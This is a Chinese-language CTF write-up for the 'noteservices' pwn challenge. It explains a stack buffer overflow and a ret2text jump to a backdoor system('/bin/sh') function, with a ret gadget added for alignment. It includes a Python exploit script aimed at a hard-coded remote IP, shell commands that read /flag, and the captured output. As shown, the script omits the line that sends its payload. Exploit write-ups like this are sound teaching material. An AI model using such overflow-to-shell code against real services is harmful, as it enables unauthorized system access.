题目名称 noteservices
解题思路(要求解题思路清晰,每个题需截图flag值并且包含时间)
flag{b8604a81cf1196b752f8704fff71c0f2}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点:
vuln() 函数 — 存在栈溢出漏洞:
vuln():
sub rsp, 0x28 ; 分配栈空间
lea rsi, [rbp-0x30] ; 缓冲区起始地址
mov edx, 0x60 ; 读取 96 字节
call read
缓冲区大小为 48 字节 (rbp-0x30),但 read() 读取了 96 字节 (0x60),存在溢出。
secret_note() 函数 — 后门函数:
secret_note():
lea rdi, [rip+0xe71] ; "/bin/sh"
call system
地址:0x401196,直接调用 system("/bin/sh")。
栈布局:
[rbp-0x30] 缓冲区 (48字节)
[rbp] 保存的 RBP (8字节)
[rbp+8] 返回地址 (8字节)
但实际偏移为 72字节(因为 sub rsp, 0x28 的额外对齐),需要通过调试或分析确定。
import struct, socket, time, select, sys
secret_note = 0x401196
ret_gadget = 0x40101a # ret 指令 (栈对齐用)
payload = b'A' * 72 + struct.pack('<Q', ret_gadget) + struct.pack('<Q', secret_note)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(('120.27.146.76', 19574))
time.sleep(1)
for cmd in [b'echo SHELL_OK\n', b'/bin/cat /flag\n']:
s.send(cmd)
time.sleep(2)
result = b''
s.setblocking(0)
while select.select([s], [], [], 1.0)[0]:
try:
chunk = s.recv(4096)
if not chunk: break
result += chunk
except: break
s.setblocking(1)
print(f"[+] {cmd.strip()}: {result}")
s.close()
直接跳转到 secret_note 会导致 system() 崩溃,因为 x86-64 的 movaps 指令要求 16字节栈对齐。解决方法是在返回地址前插入一个 ret gadget:
payload = padding + ret_gadget + secret_note
ret gadget 的地址通过搜索二进制中的 0xc3(ret 指令)获得:0x40101a。
[*] b'=== Note Service ===\nLeave your note:\n'
[*] b'Note saved. Thank you!\n'
[+] b'echo SHELL_OK': b'SHELL_OK\n'
[+] b'/bin/cat /flag': b'flag{b8604a81cf1196b752f8704fff71c0f2}\n'
Flag:flag{b8604a81cf1196b752f8704fff71c0f2}
| 要素 | 内容 |
|------|------|
| 漏洞类型 | 栈缓冲区溢出(Stack Buffer Overflow) |
| 攻击技术 | ret2text(利用程序自带后门函数) |
| 关键难点 | 栈对齐(需要额外的 ret gadget) |
| 保护绕过 | NX 开启 → 不用 shellcode,用已有代码 |
这是一个经典的初级 PWN 题,核心思路是:
secret_note() → system("/bin/sh")ret gadget